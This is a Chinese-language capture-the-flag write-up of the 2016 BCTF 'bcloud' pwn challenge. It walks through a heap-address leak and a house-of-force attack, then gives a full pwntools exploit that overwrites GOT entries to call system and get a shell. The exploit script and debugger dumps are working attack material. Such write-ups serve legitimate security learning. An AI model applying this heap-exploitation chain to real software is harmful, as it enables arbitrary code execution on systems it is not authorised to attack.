盒子
盒子
文章目录
  1. 简介 :
  2. 详解 :
    1. 思路 :
  3. EXP :

2016 BCTF bcloud

简介 :

比较高级利用的house of force方式,本质上来说也很简单,bctf的一道题目。

详解 :

checksec :

1
2
3
4
5
6
7
➜  bcloud checksec ./bcloud 
[*] '/home/parallels/Desktop/PWN/PwnWiKi/heap/bcloud/bcloud'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)

32位的程序,基本全开。

程序的增删改功能都有,是一个云笔记程序,过了一遍增删改的函数,没有发现什么问题漏洞。。展示功能相当于没有。同步笔记也基本没什么用。。

在仔细看一遍才发现,问题出在程序初始化的过程当中。程序开始会舒服name,org,host。最大64个字节。看一下输入name函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
unsigned int sub_80487A1()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
memset(&s, 0, 0x50u);
puts("Input your name:");
readin((int)&s, 64, '\n');
v2 = (char *)malloc(0x40u);
name_ptr = (int)v2;
strcpy(v2, &s);
sub_8048779((int)v2);
return __readgsdword(0x14u) ^ v3;
}

可以看见字符s和字符v2在栈中的位置刚好相差64个字节,所以在strcpy过程当中会把堆内存地址也给copy过去,在后续打印过程中:

1
printf("Hey %s! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!\n", a1);

会泄漏堆地址。再继续看后面输入org和host部分,也有着相同的漏洞。所以我们就可以利用这一点,来覆盖top chunk的size字段。

当我们这样输入的时候:

1
2
p.sendafter('Org:\n','A'*64)
p.sendlineafter('Host:\n','BBBB')

看一下堆内存分布:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
pwndbg> x/60xw 0x82b5000
0x82b5000: 0x00000000 0x00000049 0x41414141 0x41414141
0x82b5010: 0x41414141 0x41414141 0x41414141 0x41414141
0x82b5020: 0x41414141 0x41414141 0x41414141 0x41414141
0x82b5030: 0x41414141 0x41414141 0x41414141 0x41414141
0x82b5040: 0x41414141 0x41414141 0x082b5008 0x00000049
0x82b5050: 0x42424242 0x00000000 0x00000000 0x00000000
0x82b5060: 0x00000000 0x00000000 0x00000000 0x00000000
0x82b5070: 0x00000000 0x00000000 0x00000000 0x00000000
0x82b5080: 0x00000000 0x00000000 0x00000000 0x00000000
0x82b5090: 0x00000000 0x00000049 0x41414141 0x41414141
0x82b50a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x82b50b0: 0x41414141 0x41414141 0x41414141 0x41414141
0x82b50c0: 0x41414141 0x41414141 0x41414141 0x41414141
0x82b50d0: 0x41414141 0x41414141 0x082b5098 0x42424242
0x82b50e0: 0x00000000 0x00000000 0x00000000 0x00000000
pwndbg> p main_arena
$1 = {
mutex = 0x0,
flags = 0x1,
fastbinsY = {0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x82b50d8,
last_remainder = 0x0,
}

可以看到top chunk处的size字段变成了host处的字符串,所以我们把size字段改成-1,64位无符号最大整数。

将top chunk申请到bss段上存储堆size的地址处,即0x804B0A0处,再之后申请chunk任意写存储chunk ptr处的地址。达到任意写的目的。

思路 :

  1. 泄漏堆基址
  2. 利用house of force,将top chunk分配到bss段的存储size字段处,控制size字段
  3. 分配堆,控制存储ptr地址
  4. 将chunk1、chunk2、chunk3指针分别改为free@got、puts@got、atoi@got
  5. 泄漏puts函数,泄漏libc地址
  6. 修改atoi@got为system地址

这里得注意一个小问题:

要把top chunk分配到size字段的前0x8地址处,不然chunk1地址过大且无法修改,后面就会导致无法修改free@got为puts@plt。这里的小问题我也不知道为什么,总之后来控制修改为0x10就好了。整个过程不太难,就不更详细的说了,直接贴上exp。

EXP :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

p = process('./bcloud')
elf = ELF('./bcloud')
libc = ELF('libc.so')
context.log_level = 'debug'

#leak --> heap_base_addr
p.sendafter('Input your name:\n','A'*64)
p.recvuntil('A'*64)
data = u32(p.recv(4))
heap_base = data - 0x8
log.success('heap\'s base addr is :'+hex(heap_base))

p.sendafter('Org:\n','A'*64)
p.sendlineafter('Host:\n',p32(0xffffffff))

#top_chunk extand --> bss --> size
p.recvuntil('option--->>\n')
p.sendline('1')
payload = heap_base - 0x804B0A0
payload = -payload - 0xe0 - 8
p.sendlineafter('Input the length of the note content:\n',str(payload))

#create 2 chunks --> change the chunk1's size --> control the bss_ptr
p.recvuntil('option--->>\n')
p.sendline('1')
p.recvuntil('Input the length of the note content:\n')
p.sendline(str(0x50))
p.sendlineafter('Input the content:\n',p32(0x10)*3)

p.recvuntil('option--->>\n')
p.sendline('1')
p.recvuntil('Input the length of the note content:\n')
p.sendline(str(0x50))
p.sendlineafter('Input the content:\n','AAAA')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
free_got = elf.got['free']
atoi_got = elf.got['atoi']

#change the chunk's ptr
p.recvuntil('option--->>\n')
p.sendline('3')
p.sendlineafter('Input the id:\n','2')
payload2 = 'A'*40 + p32(free_got) + p32(puts_got) + p32(atoi_got)
p.sendlineafter('Input the new content:\n',payload2)

#free --> puts_plt
p.recvuntil('option--->>\n')
p.sendline('3')
p.sendlineafter('Input the id:\n','0')
payload3 = p32(puts_plt)
p.sendlineafter('Input the new content:\n',payload3)
log.info('puts_plt :'+hex(puts_plt))

#leak --> puts_got
p.recvuntil('option--->>\n')
p.sendline('4')
p.sendlineafter('Input the id:\n','1')

#leak --> system_addr
data2 = u32(p.recv(4))
log.success('leak puts addr is :'+hex(data2))
libc_base = data2 - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
log.success('system_addr is :'+hex(system_addr))

#change the atoi_got --> system_addr
p.recvuntil('option--->>\n')
p.sendline('3')
p.sendlineafter('Input the id:\n','2')
payload4 = p32(system_addr)
p.sendlineafter('Input the new content:\n',payload4)

p.interactive()
支持一下
扫一扫,支持v1nke
  • 微信扫一扫
  • 支付宝扫一扫